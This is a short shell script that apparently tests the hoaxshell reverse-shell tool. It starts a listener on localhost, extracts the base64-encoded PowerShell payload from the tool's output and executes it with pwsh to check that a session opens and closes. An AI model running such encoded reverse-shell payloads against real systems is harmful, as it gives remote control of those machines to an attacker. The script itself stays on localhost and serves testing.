#!/bin/sh

set -e

shorten() {
    echo -n "$1" | head -c 8
    echo -n ...
    echo -n "$1" | tail -c 8
}

hoaxshell_output=$(mktemp)

expect 2>&1 << EOF | tee $hoaxshell_output &
spawn hoaxshell -s 127.0.0.1 -p 4444
expect "Stabilizing command prompt..."
send "exit\n"
expect eof
EOF

until nc 127.0.0.1 4444 -w 1 -z; do sleep 1; done
sleep 1

payload=$(grep -oiP '(?<=powershell -e )[-A-Z0-9+/]+={0,3}' "$hoaxshell_output" || :)
if [ -z "$payload" ]; then
    echo Failed to get payload from hoaxshell output
    exit 1
fi

echo Executing reverse shell payload: $(shorten $payload)
pwsh -e $payload

grep -q "Closing session elegantly" "$hoaxshell_output"
